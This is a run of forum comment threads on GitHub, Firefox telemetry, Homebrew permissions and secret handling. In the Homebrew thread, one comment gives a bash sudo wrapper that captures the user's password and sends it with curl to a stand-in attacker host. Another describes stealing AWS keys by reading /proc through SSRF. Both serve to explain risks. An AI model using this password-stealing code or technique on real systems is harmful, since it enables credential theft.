1. 26

    Maybe I’m old and bitter.. but I have serious concerns about how we as a community can get captured by Microsoft via things like GitHub and their Citus Data purchase. “We” struggled to keep up with free implementations of things like CIFS and now some popular open source resources are under Microsoft’s control.

    We risk that all the people able and willing to do important work are all tied up on Microsoft products and don’t have the energy or legal freedom to work on open source.

    1. 23

      I think we should be extremely careful. For may people e-mail means Google Mail, search means Google search, social network means Facebook/Instagram/WhatsApp.

      It is not inconceivable that GitHub becomes synonymous with development, especially with the strong backing of Microsoft. Network effects are extremely strong and I think we are already at a point where a lot of (newer) developers don’t know how to do code reviews outside GitHub PRs, only consider putting their open source projects on GitHub in the fear of missing out on contributions, and/or put their projects on GitHub since it gives the largest opportunity to get stars which are good for their resume/careers.

      This trend of tying more and more things from GitHub into GitHub makes things worse, since additions to GitHub are not a level playing field anymore. GitHub can make all the APIs that they need, 3rd parties have to use whatever APIs GitHub chooses to make available.

      We should try to make more and more projects available through sr.ht, GitLab, and other ‘forges’ to ensure that there are healthy and viable alternatives.

      1. 8

        I hesitate to reply since I don’t have much to say that goes beyond “me too”, but in this case I think the importance of the subject merits a supportive response anyway. I very much agree with these concerns and would like to thank everyone who’s raising them.

      2.  

        We risk that all the people able and willing to do important work are all tied up on Microsoft products and don’t have the energy or legal freedom to work on open source.

        Is this risk related to GitHub Sponsors in any way?

        1.  

          GitHub is popular now. If they start abusing their power too much then there is plenty of competition.

          Since you mention you’re old, do you remember when SourceForge was great and all the developers would host their projects there?

          1.  

            I don’t remember SourceForge relying on network effects that much though. Sure, the source and releases were there, but I don’t think all of the development activity was tied up to it, was it?

            1. 7

              SourceForge also provided mailing lists and that was probably the primary code review and support channel for many projects.

              1.  

                SourceForge also had issue tracker. It was headache to migrate. For example, Python project wrote custom tooling to migrate SourceForge issues.

                1.  

                  It was also a all-in-one platform and people who learned to contribute to one project could translate that knowledge to the other projects.

                  At the time there were much less integrations between services and there were at least an order of magnitude less developers, so it doesn’t translate 1:1.

                  One advantage GitHub has is all the special treatment for tooling but other than that I don’t see the network effect being too strong. Developers are the best equipped to escape. Projects are still independent from each-other and it’s easy to migrate projects to GitLab if necessary. If fact they must have seen a lot of projects leave already after the Microsoft acquisition and I bet they are being extra careful, which is good for us :)

              2.  

                Agreed. This should be obvious and I’m surprised people who care about free software are giving GitHub any attention at all.

                1.  

                  And our battle cry will be “Remember Stacker”.

                1. 7

                  OK, my first thought was “Yeah but what’s the percentage they take off the top?”

                  The answer is zero and they’re going to match contributions.

                  Think about that from a pure potential perspective for a moment.

                  I’m as suspicious of M$ as the next guy, but this smells like pure win from where I sit.

                  1. 7

                    They mention “for the first year” and then a minimal amount to cover the transaction fees.

                    Microsoft is big on throwing money at projects to make them popular.

                  1. 7

                    My main question is, how do you get to that place, and how do you find those clients? And how do you weed the promising ones from “do me good for cheapest possible”: is it just by putting hourly rate high enough? I’d guess you are, or at least started as, a consultant/freelancer? I suppose this requires some particular personal traits, being ok with working in non-9-to-5 environment, chasing clients etc.? Also, I really respect and admire what you’re doing; I think a lot of things you gloss over are not that easy to achieve.

                    1. 3

                      I think the way to find opportunities is to talk to lots of people and keep your eyes open. The opportunities are out there but often we look past them.

                      The steel distributor gig was posted on the jobs channel of a Slack community I’m a part of. I got in touch and pursued the opportunity.

                      The ski club thing came about because I offered to help out on the board of my club. They approached me because they knew I had tech skills and was personable.

                      Just try and network as much as you’re able to create flow, I guess.

                      As for weeding out time wasters a high day rate definitely helps. Clients get a lot more focused about what they need when it hurts a bit. The trade-off is that you need to make sure you’re equally focused and you make every work day count. Split your down time between looking after your family/self and investing in future revenue streams, too.

                      1. 2

                        Without bias: that sounds like a typical consulting business, with the commensurate sales & business skills required.

                        1. 2

                          Hm; so, isn’t your story here basically what every freelancing/consulting programmer is doing?

                        2. 2

                          Same here, I would like to know how to find this type of clients too.

                        1. 2

                          Fun fact: Microsoft is now shipping a 9p server and client with WSL 2.

                          I wonder if that makes the 9p the most popular technology coming out of the plan 9 project.

                          1. 6

                            It seems to me that UTF-8 is a better candidate in that contest.

                            1. 1

                              Oh yeah, miles ahead. I had forgotten that Plan 9 was behind UTF-8, thanks :)

                            2. 1

                              Even prior to WSL 2. It already works to show Linux files on the Windows UI.

                              In WSL2 they added the other direction.

                            1. 10

                              Another approach I like is to start with exposing the elements that make up the argument rather than stating the argument itself.

                              For example: since this project needs a standalone binary for distribution, is quite small and has some networking involved, Golang seems like a good choice. (possible expansion here).

                              An opinion is just compressed information. If you want to engage in a discussion it’s better to lay down the decision tree and talk about it together rather than having a battle of ego.

                              1. 5

                                We have a definition problem. Android and Chrome OS are both very successful and running on the Linux kernel. Yet we are still waiting for the Year of the Linux Desktop. By definition a kernel cannot be a Desktop. It’s not possible. How can we win if the goals are not even clearly defined?

                                The year of the Gnome Desktop would be more accurate and attainable for example.

                                1. 8

                                  A PL with the aesthetics of Lisp, but without the parenthesis.

                                  The tribe of the parenthesis is loud, however, so I end up n-th-guessing myself.

                                  1. 4

                                    Just do a left handed forth. Fixed arity for all functions and no overloading with a left to right operator precedence means that you can obviate literally all parentheses.

                                    1. 1

                                      That’s exactly what Logo does.

                                    2. 2

                                      Oh yeah, I want this too. The problem is figuring out a syntax that doesn’t suck.

                                      1. 1

                                        Have you looked at Rebol?

                                      1. 39
                                        1. A new build system
                                        1. 1

                                          I keep thinking about generalizing the Myrddin build system (https://myrlang.org/mbld, example at https://git.eigenstate.org/ori/mc.git/tree/mbld/bld.sub).

                                          I want to make it work with C and C++. I find it pleasant to use, and I want to use it in more places.

                                          It avoids the overconfigurability of most other build build systems.

                                          1. 1

                                            Isn’t it’s simplicity inherent to the fact that it only supports one language?

                                            1. 1

                                              I don’t think so. As long as the target types stay the same, I think it’s possible to add more languages without exploding in complexity.

                                          2. 1

                                            Ha! been there

                                            Agreed that this is a great example!

                                            1. 1

                                              Congrats on shipping :)

                                              My Rake rewrite never made is past the finish line, it’s rusting somewhere on my disk.

                                              1. 1

                                                Thanks! Paver was a simple tool in a simpler time :)

                                                It’s been maintained by others for the past 10 years or so.

                                          1. 28

                                            This article isn’t quite at the level of “zomg dihydrogen monoxide is LETHAL” alarmism, but it’s getting close. On one hand, it’s good to have a third-party review of Firefox’s privacy tradeoffs, but jumping up and down yelling “SPYWARE” doesn’t help educate anyone, it just feeds people’s sense of entitlement and injury.

                                            For example, the very first example of “spyware” on the list is that Firefox requests http://detectportal.firefox.com/success.txt at startup. If you’ve ever visited an airport, a coffee shop, or a mall with “free wifi” that automatically redirects you to a sign-in page where you can provide your email address in exchange for an hour of Internet access, you know what this is about: if you turn off this protection, then the next time you open your browser in such an environment, all your open tabs will be redirected to the sign-in page, and your browser state is ruined. Alternatively, if most of the websites you use are HTTPS, the situation’s worse: when you open your browser, websites will mysteriously fail to load with no indication why. And so, at startup Firefox makes an unencrypted request for a file with known, specific content, and if the response contains anything else, Firefox knows it’s behind a portal and needs to present the login page before it tries to restore any other state.

                                            So yeah, there’s a bunch of tradeoffs here:

                                            • do nothing
                                              • pro: privacy friendly!
                                              • con: terrible experience in a common environment
                                            • always make a portal-baiting request
                                              • pro: excellent experience, comparable to competing products
                                              • con: very slight privacy leak
                                            • make request by default, allow it to be disabled
                                              • pro: excellent experience by default, super-privacy-conscious people can still get what they want
                                              • con: very slight privacy leak by default

                                            I think Firefox has definitely made the right choice here, but I appreciate opinions may differ. On the other hand, just putting this behaviour under the heading “Phoning home” (as the OP article does) without any context doesn’t help anyone make an informed decision about this tradeoff.

                                            1. 6

                                              A fourth option might be to only make that request whenever a HTTPS certificate is failing. That way in the normal case where the user is logged into the portal or not using a portal-enabled Internet they won’t be calling out to Mozilla as often.

                                              But yeah, it’s difficult to be privacy-sensitive. It’s more work. Asking Firefox to be better than Chrome while doing more work and flying blind by not collecting any stats… doesn’t seem to be the best option here.

                                              1. 1

                                                Perhaps, but ensuring that the certificate used doesn’t expire and ruin everything sounds hard…

                                              2. 2

                                                if you turn off this protection, then the next time you open your browser in such an environment, all your open tabs will be redirected to the sign-in page, and your browser state is ruined.

                                                is this really what happens? i would expect only the active tab to load, which would be subject to the redirect. i wouldn’t call this a “terrible experience.”

                                                firefox could also ask users whether they want telemetry enabled the first time firefox starts up, like what VLC does. how would you feel about this option?

                                                1. 1

                                                  firefox could also ask users whether they want telemetry enabled the first time firefox starts up, like what VLC does.

                                                  nitpick: from my memory, this option is just for fetching media metadata from the internet, not for telemetry.

                                                  1. 2

                                                    what do you mean by telemetry and how do you know VLC’s use doesn’t constitute telemetry?

                                                    to me, telemetry means automatic requests to Internet servers. am i using the term wrong?

                                                    1. 1

                                                      Good point. I’ve mainly heard the term telemetry used in conjunction with analytics and tracking, but I guess it’s not limited to those.

                                                      1. 1

                                                        it’s also fair to expect that any requests will be tracked and analyzed, even if their primary purpose is to fetch media metadata

                                                  2. 1

                                                    i would expect only the active tab to load, which would be subject to the redirect. i wouldn’t call this a “terrible experience.”

                                                    These days browsers are smarter about lazily restoring tabs at startup, but they’ll still load the active tab in each window, plus however many pinned tabs the user has.

                                                    Besides, data loss is data loss. Even if it’s just one tab of hundreds, it can still be a terrible experience for someone.

                                                    firefox could also ask users whether they want telemetry enabled the first time firefox starts up, like what VLC does.

                                                    I just booted up Firefox 66.0.1 (the latest stable version) with a fresh profile, and the two default tabs it opens are an advertisement for Firefox Sync, and the Firefox Privacy Notice, which is a huge list of all the various kinds of information Firefox may (deliberately or otherwise) collect, and why. Under the very first heading, “Improve performance and stability for users everywhere”, there’s an “opt-out” link which takes you to a support article about opting in or out, and a big “Choose how you want to share this data in Firefox” button which takes you directly to the “Firefox Data Collection and Use” section of the preferences where you can turn things off (including “Studies”).

                                                    So Firefox does provide detailed information about telemetry, including how to turn it off, on first startup. It doesn’t provide a simple “telemetry yes/no” banner, because people have learned to click those away subconsciously, and if there’s one thing people like even less than things happening without their consent, it’s when they feel tricked into giving consent.

                                                    1. 1

                                                      Besides, data loss is data loss. Even if it’s just one tab of hundreds, it can still be a terrible experience for someone.

                                                      i must confess i don’t know exactly what properties people expect out of tab restoration. what data is lost? the URL of the tab that gets redirected? would this be available in the history?

                                                      So Firefox does provide detailed information about telemetry, including how to turn it off, on first startup. It doesn’t provide a simple “telemetry yes/no” banner, because people have learned to click those away subconsciously, and if there’s one thing people like even less than things happening without their consent, it’s when they feel tricked into giving consent.

                                                      how is what firefox currently does better? haven’t people learned to subconsciously close the ads and privacy notice tabs which are open by default? aren’t they already being tricked into giving consent? you think people would be more mad if they were given a telemetry yes/no banner at first startup?

                                                      1. 1

                                                        what data is lost?

                                                        The URL, the page scroll position, form field content… imagine getting five paragraphs into a comment on a site like Lobsters, letting your browser restart to apply a security update, and suddenly your comment is lost to the ether. Sure, maybe people shouldn’t expect that to work 100% reliably, but it does work 95% reliably, which makes the last 5% all the more frustrating.

                                                        you think people would be more mad if they were given a telemetry yes/no banner at first startup?

                                                        Yes, I do.

                                                        If somebody says to me “here’s what I’m going to do”, and then I ignore what they say, and then later I decide I didn’t want them doing that, that’s fundamentally my fault.

                                                        If somebody says to me “to-let-me-do-the-thing-say-what” and I blink and say “what?” and they say “thanks!” and run off, I’m going to be annoyed, regardless of what they wanted to do. If it turns out to be something I didn’t want, I’m going to be doubly annoyed if they use my “opt-in” as an excuse, since they fact that they tricked me is already evidence that they knew I wouldn’t have said yes if I knew what was going on.

                                                        People hate twenty-page small-print “terms and conditions” documents because they obscure what they’re asking you to agree to, and a “telemetry yes/no” banner would similarly obscure what it wants you to agree to. The Firefox Privacy Notice page really is a great example for how to present a complex set of ideas to a non-expert audience, and really I think that’s as much as anyone could expect Mozilla to do. You can’t force people to form an educated opinion, you can only make education as accessible as possible, and treat the people who blindly trust you anyway with dignity and respect.

                                                        1. 1

                                                          The URL, the page scroll position, form field content… imagine getting five paragraphs into a comment on a site like Lobsters, letting your browser restart to apply a security update, and suddenly your comment is lost to the ether. Sure, maybe people shouldn’t expect that to work 100% reliably, but it does work 95% reliably, which makes the last 5% all the more frustrating.

                                                          i wouldn’t want to rely on it if it only works 95% of the time even with the telemetry preventing data loss due to captive portals. but i think this point is exhausted.

                                                          you think people would be more mad if they were given a telemetry yes/no banner at first startup?

                                                          Yes, I do.

                                                          If somebody says to me “here’s what I’m going to do”, and then I ignore what they say, and then later I decide I didn’t want them doing that, that’s fundamentally my fault.

                                                          If somebody says to me “to-let-me-do-the-thing-say-what” and I blink and say “what?” and they say “thanks!” and run off, I’m going to be annoyed, regardless of what they wanted to do. If it turns out to be something I didn’t want, I’m going to be doubly annoyed if they use my “opt-in” as an excuse, since they fact that they tricked me is already evidence that they knew I wouldn’t have said yes if I knew what was going on.

                                                          i don’t follow your analogy. VLC asks users “do you want to allow telemetry,” they select yes or no, then the program runs based on their preference. are either of your scenarios analogous to that?

                                                          People hate twenty-page small-print “terms and conditions” documents because they obscure what they’re asking you to agree to, and a “telemetry yes/no” banner would similarly obscure what it wants you to agree to.

                                                          a sentence takes less time to read and understand than twenty small-print pages. what exactly is obscure about “do you want to allow telemetry for these purposes?” followed by a bulleted list and a yes/no button?

                                                          The Firefox Privacy Notice page really is a great example for how to present a complex set of ideas to a non-expert audience, and really I think that’s as much as anyone could expect Mozilla to do. You can’t force people to form an educated opinion, you can only make education as accessible as possible, and treat the people who blindly trust you anyway with dignity and respect.

                                                          the privacy notice page is longer than the VLC notice and you have to read it and dig through documentation in order to disable telemetry. this is not obscure?

                                                          why can’t we expect mozilla to show us a telemetry yes/no button whenever they implement new telemetry?

                                                          1. 1

                                                            I guess my basic argument is:

                                                            • if Alice wants to do something on Bob’s behalf, and she can obtain Bob’s informed consent first, she should do so
                                                            • if Alice can’t obtain Bob’s informed consent (because Bob can’t be contacted, because Bob is too busy to listen to a properly detailed explanation, or for some other reason) and Alice is say 90% sure that it’s in Bob’s interest, it’s OK to go ahead as long as she describes what she’s doing somewhere Bob can find it, and she’s willing to stop if Bob does express an opinion later
                                                            • if Alice can’t obtain Bob’s informed consent, it’s not OK to ask an oversimplified version of the question and treat the answer as consent, since the consent would not be fully informed
                                                            • it’s also not OK to ask a super-detailed over-complexified version of the question, since we know most people won’t read it, and the consent would still not be fully informed

                                                            VLC’s startup notice falls into the first category - VLC is not too complex, the privacy risks are easy to explain, and so it’s reasonable to present the question directly at first startup.

                                                            Firefox falls into the second category. Firefox is very complex, and its privacy risks are intricate and involve multiple parties. They can’t be easily summarised in a sentence or two, so Firefox just makes the information as accessible as possible without actively getting in people’s way, and does its best.

                                                            The third category is your hypothetical version of Firefox that asks for telemetry consent at first startup. I claim it’s not possible to describe Firefox’s privacy risks more clearly and concisely than the Privacy Notice page already does, so any shorter summary would be misleading and the answer would not ethically count as permission.

                                                            The fourth category is every “I have read and understood the terms and conditions” checkbox, or a hypothetical version of Firefox that pointed people to the Privacy Notice and demanded people read it before giving consent. You can’t force people to read and understand things, so that would still not ethically count as permission.

                                                            As for asking permission about each new kind of telemetry individually, that might be OK, if each kind can be described concisely enough. You couldn’t ask too many questions in a row without fatiguing people, though, and there might be features whose risks are wildly different depending on what other features they’ve consented to. Overall, I suspect it might be problematic for engineering reasons even if it was ethically fine.

                                                            1. 1

                                                              if Alice can’t obtain Bob’s informed consent (because Bob can’t be contacted, because Bob is too busy to listen to a properly detailed explanation, or for some other reason) and Alice is say 90% sure that it’s in Bob’s interest, it’s OK to go ahead as long as she describes what she’s doing somewhere Bob can find it, and she’s willing to stop if Bob does express an opinion later

                                                              how can i express to firefox that i want no automatic requests to remote servers?

                                                              is firefox willing to stop?

                                                              i can go to the privacy notice page, click the “Improve performance and stability for users everywhere,” follow the links to the privacy preferences page, and uncheck the boxes under “firefox data collection and use.”

                                                              but that’s not enough, as explained in the original post. there are many other ways firefox sends automatic requests which can tell a remote server about your browsing. they can’t be disabled through the GUI. even if i set things in about:config or a custom user.js file, firefox will add more telementry features which are buried in a privacy notice page and require digging to figure out how to disable. you really think this is the best we can ask for?

                                                              1. 1

                                                                Firefox is a user agent, a tool for automatically turning a high-level user goal (“show me the front page of https://lobste.rs”) into a collection of requests to remote servers. If somebody really want absolutely zero automatic requests to remote servers (no images, no css, no following HTTP redirects), then their expectations are so far from the normal definition of “web browser” that they’d probably be happier with a completely different product.

                                                                Specifically for telemetry, my understanding is that occasionally Mozilla will add some new measurement that they’re interested in (for example, some statistic about a newly-added feature) but the existing “disable telemetry” option in the GUI is a master switch - if it’s disabled, it disables newly-added measurements too.

                                                                If by “telemetry” you include the various other miscellaneous connections described/slandered in the original article, then yes, sometimes Mozilla does add enabled-by-default features that involve automating requests to remote servers. However, historically Mozilla have worked very hard on minimising the privacy risk of such features (the Safe Browsing feature in particular I think is quite elegant), and I personally trust them to make responsible decisions in future. If they ever mess up, I’m sure it’ll be all over Lobsters and HN.

                                                                No software is infinitely configurable, if you really need to prevent a piece of software from doing something, don’t run it.

                                                                1. 1

                                                                  Firefox is a user agent, a tool for automatically turning a high-level user goal (“show me the front page of https://lobste.rs”) into a collection of requests to remote servers. If somebody really want absolutely zero automatic requests to remote servers (no images, no css, no following HTTP redirects), then their expectations are so far from the normal definition of “web browser” that they’d probably be happier with a completely different product.

                                                                  i think you understand the distinction between requests made in order to display a web page requested by the user, and requests made without any action or without being necessary to display a page.

                                                                  If by “telemetry” you include the various other miscellaneous connections described/slandered in the original article, then yes, sometimes Mozilla does add enabled-by-default features that involve automating requests to remote servers.

                                                                  presumably you don’t include these in your definition of “telemetry.” what substantive difference is there?

                                                                  1. 1

                                                                    The distinction between requests necessary to display a page and requests unnecessary to display a page may be blurry. For example, portal detection is sometimes necessary to display a requested page, and the only way for Firefox to know for sure is to send the request. So is it necessary or not?

                                                                    Strictly speaking, “telemetry” means “measurement at a distance”. A feature designed to automatically send local measurements to a remote system is telemetry; a feature that’s not automatic or only accidentally sends local measurements isn’t really telemetry. It might possibly be abused, but these non-telemetry signals should be designed to minimise their usefulness as telemetry.

                                                                    For example, your ISP could use portal-detection pings to infer that you use Firefox; but they could also read your user-agent from any unencrypted HTTP request you make, so that’s not a big deal. Mozilla could use it to infer that one of your ISP’s customers uses Firefox, but it’s a much less reliable signal than things like update checks or actual telemetry. Mozilla could use the timing of the ping to infer when your ISP’s customers commonly use Firefox, but they could nearly as reliably determine that by looking at the timezone your ISP’s head office is in.

                                                                    1. 1

                                                                      The distinction between requests necessary to display a page and requests unnecessary to display a page may be blurry. For example, portal detection is sometimes necessary to display a requested page, and the only way for Firefox to know for sure is to send the request. So is it necessary or not?

                                                                      it’s never necessary. it may give clues that a page cannot be reached, but it doesn’t help you reach the page.

                                                                      Strictly speaking, “telemetry” means “measurement at a distance”. A feature designed to automatically send local measurements to a remote system is telemetry; a feature that’s not automatic or only accidentally sends local measurements isn’t really telemetry. It might possibly be abused, but these non-telemetry signals should be designed to minimise their usefulness as telemetry.

                                                                      so firefox’s “disable telemetry” option disables features which are explicitly designed for measurement, but does not disable other features where telemetry is a side effect.

                                                                      should users have control over the telemetry that happens as a side effect?

                                                                      1. 1

                                                                        Literally any network traffic at all, explicitly requested or otherwise, can be tracked and collated to provide information about the participants. Even the absence of network traffic can be a privacy leak - if there’s only one person on a given subnet that has disabled Firefox’s portal detection, a request that’s not preceded by a portal-detection request almost certainly comes from that person.

                                                                        Given that a web-browser has to make some number of network requests to perform its function, I think it’s reasonable for the browser to make any number of extra requests, as long as the extra requests take negligible total extra time, use negligible total extra battery, and add negligible total extra privacy risk. Adding a new request might increase privacy risk (if it’s related to some identifying information) or reduce it (if it makes my network traffic look more like everybody else’s).

                                                                        I think it’s reasonable for Mozilla to offer users control over what Mozilla does with their data (and they do, which is good); I think it’s unreasonable for Mozilla to offer users control over what third parties (ISPs, governments, engineers with Wireshark) do with users’ data, since Mozilla can’t enforce or even reliably influence that.

                                                                        1. 1

                                                                          I think it’s reasonable for the browser to make any number of extra requests, as long as the extra requests take negligible total extra time, use negligible total extra battery, and add negligible total extra privacy risk.

                                                                          so to clarify, you think mozilla should decide on behalf of users what is a negligible privacy risk? they shouldn’t have control over the telemetry that happens as a side effect of other features?

                                                                          1. 1

                                                                            Not screwtape, but yes.

                                                                            If I wanted to spend my limited time and energy making those decisions, I could do so fairly easily, since the source and build scripts are all available for free.

                                                                            Mozilla provides me with the option of making my own decisions, and also supplies a prebuilt binary that frees me from having to make them myselfves.

                                                                            I choose the prebuilt binary that makes those decisions for me.

                                                                            1. 1

                                                                              it’s easy for you to understand and modify firefox code?

                                                                              1. 1

                                                                                In the scheme of things, sure. The codebase is large and unfamiliar, but grep will get you pretty far.

                                                                            2. 1

                                                                              I’m not saying users shouldn’t have control, I’m saying they don’t have control. I, as a user, have no idea who might be passively observing my network connection, or what patterns of traffic they might be looking for or ignoring. There is no combination of Firefox configuration options I could enable or disable that would guarantee a lower privacy risk than I currently have, even if there were options for every byte of every header of every possible request.

                                                                              If there was a master “absolutely no non-essential network requests” toggle, it would have to carry the label “this may increase or decrease your privacy risk, or increase the risk from some sources while decreasing it from others, or have no practical effect”. That’s not giving users control over their privacy, it’s a dice-roll.

                                                                              The answer to “which changes in this new version of Firefox have possible privacy implications” is always “all of them”. The answer to “which changes are relevant to my privacy” is always “that depends on your individual needs”. If a user doesn’t trust Mozilla’s general-purpose defaults, and doesn’t want the responsibility of figuring out which available options are relevant to their personal concerns, what can Mozilla possibly do for that user?

                                                                              1. 1

                                                                                If a user doesn’t trust Mozilla’s general-purpose defaults, and doesn’t want the responsibility of figuring out which available options are relevant to their personal concerns, what can Mozilla possibly do for that user?

                                                                                a non-essential network requests yes/no button would do

                                                  1. 1

                                                    It’s going to be hard shipping extensions that contain Web Assembly with that policy in place. Does compiling from one language to JavaScript also count as an obfuscation step?

                                                    A better policy would be for Mozilla to request the source code and build the extension themselves, just like Docker Hub does with Dockerfile. That way it’s possible to trace back to the original source. Bonus points for extensions that are independently-verifiable by providing stable outputs.

                                                    1. 1

                                                      We will continue to allow minified, concatenated, or otherwise machine-generated code as long as the source code is included.

                                                      Sounds like they’re doing something like that. Although, they could just be using source maps of author compiled code rather than building it themselves. (Pure speculation on my part.)

                                                    1. 3

                                                      I have no clue about Windows, but couldn’t you use the Microsoft App Store to implement website, installer, and update?

                                                      1. 2

                                                        No clue either but I’m pretty sure it’s more work.

                                                        1. Work around the MS app sandbox if the app does anything special
                                                        2. Register as a developer, pay $19.-
                                                        3. Submit the application, this requires to create artwork that fits their general guidelines
                                                        4. Get the app approved, this can take multiple tries
                                                        5. Once in a while they will change something to the store and your app will have to be tweaked and re-submitted.

                                                        Have fun reading this just to get started: https://docs.microsoft.com/en-us/windows/uwp/publish/

                                                        1. 1

                                                          Also, if your app is in WinAPI, prepare for additional levels of crutches. AFAIK, support for WinAPI apps in Microsoft Store appeared only recently, and it might be not mature.

                                                          Not sure if this “UWP” thing is not dead, along with “Tiles” and “Windows Phone”, and all real practical apps still use Win32 API.

                                                      1. 7

                                                        Consider a malicious shell script running with the privileges of the current user (perhaps something you found on the internet?) that makes a file at /usr/local/bin/ls.. Boom, now ls is booby-trapped for everyone on the system.

                                                        How is running sudo all the time a protection against that type of attack?

                                                        That same script could install itself into ~/.bashrc as an alias to sudo:

                                                        sudo() {
                                                          prompt -s -p "[sudo] password for $(id -un): " password
                                                          # record the password somewhere
                                                          curl -s https://attacker.com?password=$password
                                                          unset sudo # delete self. TODO: also delete from ~/.bashrc
                                                          echo "Sorry, try again."
                                                          # run the real thing
                                                          command sudo "$@"
                                                        }
                                                        

                                                        It’s even worse because now the script has root access to the machine.

                                                        1. 2

                                                          You can only change .bashrc of your current user though. The article was pointing out how, on a multi-user system, any software running under the account which uses homebrew would be able to change the ghlobal /usr/local/bin/ls. Your example of editing .bashrc would just affect the user who’s running the malware, not every other user.

                                                          Of course, with your example, the malware could create a ‘sudo’ function in the .bashrc of a user who has sudo access, and then do whatever it wants to other users when the user has typed in their password. However, that would still require the user to actively type their password into the malware, and for better or worse, most of our security depends on users not doing that.

                                                          Besides, the security aspect is just one of the issues mentioned regarding messing with the permissions of system directories. I had no idea homebrew was doing that, and frankly, coming from the linux world, I’m shocked.

                                                          1. 1

                                                            But that was my point, if the user needs to use sudo to install software then it’s more likely that they will be typing it. macOS machines are primarily used as single-user machines and Homebrew’s design is biased against this.

                                                            Obviously this is a hypothetical situation. If an arbitrary script is run as the user then they might have other more important things to worry about like having all their password-manager passwords and SSH keys being exfiltrated.

                                                            1. 1

                                                              I don’t disagree at all with the concern but am curious: are multi user OS X systems common enough to worry about that particular vector?

                                                              1. 2

                                                                As an attack vector? Maybe, maybe not. It would certainly be a potential issue with macs used as servers, which isn’t that unusual, or for shared computers at schools/libraries/whatever where the server admin might think that they don’t represent a huge threat to the system when logged in as their own user, not knowing that any software they run can freely modify /usr/local without their knowledge.

                                                                As a usability issue? Certainly. Personally, I occasionally use my mother’s old macbook air for whenever I need to test some mac stuff, so I have homebrew installed there, and she occasionally uses it too. It’s not inconceivable that she would some time want to install something with homebrew, and it would be insanely annoying if our two accounts started fighting about who “owns” /usr/local. The same issue applies to any instance of a group of people sharing one account where multiple people in that group has essentially sudo access, such as a shared family iMac or something.

                                                                You might argue that everyone has their own laptop anyways, but if there are tasks where you need some serious horsepower, such as video editing for school or something, having decently powerful laptops and a shared beast of a desktop can be much more economical than everyone having their own powerful laptops (or worse, everyone having both their own laptop and their own beast of a desktop). I can’t imagine such a setup would be that uncommon.

                                                                Maybe homebrew has some intelligent solution for globally installing packages from shared machines which I’m not thinking of, but given that their documentation literally tells you to sudo chown -R $(whoami) a bunch of directories in /usr/local, it sure doesn’t look like it. If I’m wrong, please correct me.

                                                          1. 5

                                                            A few more things on the subject:

                                                            When secrets are passed as argument they are discoverable by any process on the machine. Instead, it should be good form to only accept paths to secrets as arguments and rely on the POSIX filesystem to enforce ACL.

                                                            The flag parser should convert empty values to defaults if there is one. For example if the default user is root and $USER is empty, -user "$USER" would default as root. This is necessary to avoid having all the users of the CLI find out about the default and re-expand it in their script with "${USER:-root}".

                                                            For more complex cases where a configuration file starts being needed, I have seen a few using the command-line args as the configuration format. This has the advantage to enforce that all configuration options will also be overridable with the command-line.

                                                            1. 1

                                                              When secrets are passed as argument they are discoverable by any process on the machine.

                                                              I think for the most part this is a theoretical problem. It may have been true when shared machines were more common (especially on badly configured ones which allow ps to show processes from other users), but even with VPSs you typically have one user running one program. With containers even more so. If someone has sufficient access to access this kind of information then chances are they can access things like a path with secrets or /proc/self/env, too.

                                                              At any rate, last time I had this conversation I wasn’t able to find any examples of actual breaches happening because of secrets being read from the process information, and neither was my co-worker, so I don’t think this is something to overly worry about.

                                                              The flag parser should convert empty values to defaults if there is one. For example if the default user is root and $USER is empty, -user “$USER” would default as root. This is necessary to avoid having all the users of the CLI find out about the default and re-expand it in their script with “${USER:-root}”.

                                                              I guess that depends; sometimes you want to pass an empty string. In addition, if you don’t want to pass a value then, well, don’t pass a value. Preëmptively adding -option "$OPTION" to every flag kind of defeats the point of explicit overrides from the environment. While there are probably some use cases for -flag “${FLAG:-def}”`, I think that in general is should probably be used sparingly.

                                                              1. 4

                                                                I agree with you that the first one is partially a /proc problem, PID hiding is the standard on any hardened configuration and always a pain point in lots of Linux hosts. If you look at some of Grsecurity’s configuration options this can be accounted for.

                                                                That being said, I totally disagree with your evaluation of breaches and the use of /proc. I have actively used /proc abuses to compromise AWS keys about 4 times in the last year, and actively use race conditions abusing /proc to find calls from sudo/su to hijack files that are user controlled for privilege escalation. Here is an example of one way to do that, it uses ps internally to read /proc but achieves the same thing.

                                                                1. 1

                                                                  But you already had access to the system, no? That Python script certainly requires access to run that script. If you have that kind of access then there are many things you can do.

                                                                  That script of yours seems to replace the content of myscript when someone runs sudo ./myscript? If you have that kind of access then you’re pwned anyway. Your script seems like a fancy wrapper around find . -type f -a -executable and/or grep sudo .history and then injecting that exploit in the scripts you find. Hell, you could make a sudo alias in their shell config? Either I’m not fully understanding how that script works, or it’s a bit less dramatic than it may seem at first glance.

                                                                  If you look at some of Grsecurity’s configuration options this can be accounted for.

                                                                  you don’t need Grsecurity: there’s the hidepid mount option. And on BSD systems there’s a sysctl to do the same.

                                                                  1. 2

                                                                    The Python script was just an example of how you could use it, there are literally infinite ways to abuse that. But when talking about the “risk” being that /proc will store secrets it’s generally assumed that your threat model is a local user file read access no?

                                                                    Just to clarify that, you can just use some sort of read primitive for reading from /proc, but you don’t actually have shell. In the cases of AWS key hijacking I actually just needed a SSRF with support for file:// which would allow me to read the contents of /proc/$PID/cmdline (In this case I had to bruteforce the pid).

                                                                    You also have to remember that often times payloads may not be running in the context of a user with login and full shell access, ie the www user from a running web service.

                                                                    1. 1

                                                                      I actually just needed a SSRF with support for file:// which would allow me to read the contents of /proc/$PID/cmdline

                                                                      Right; that is probably a better example of your point than that Python script.

                                                                      How would you protect against this, beyond hidepid=1? The most common method is to use environment variables, but you can read /proc/self/environ as well, so this doesn’t seem to offer a lot of additional protection against some sort of exploit that allows filesystem access from the app.

                                                                      The sugegstion from the original commenter who started the thread (“good form to only accept paths to secrets as arguments and rely on the POSIX filesystem to enforce ACL”) doesn’t strike me as helping here, either.

                                                                      1. 1

                                                                        Yeah I wasn’t super clear about that so sorry for the confusion, I really should draft up some quick fire examples for these.

                                                                        The difficulty of protection on mainline Linux is part of the reason I think a lot of people advocate for not doing flag based secrets, but like you point out there are also environment flags! As far as I know there is no “baked” way of properly protecting proc from the users own processes. The last time we discussed some work arounds for this we actually set hidepid=2 which is more restrictive and then launched the process in a privilege seperation model (ie like OpenSSH) that way the config was applied at the supervisor or through a broker.

                                                                        Frankly, I think that’s crap. I think the better way to deal with this is RBAC through SELinux, Grsecurity, and friends. But, that can be a bit too much of an ask for most people as the actual support for SELinux is only in a few distros and Grsecurity is no longer easy to obtain.

                                                                        1. 1

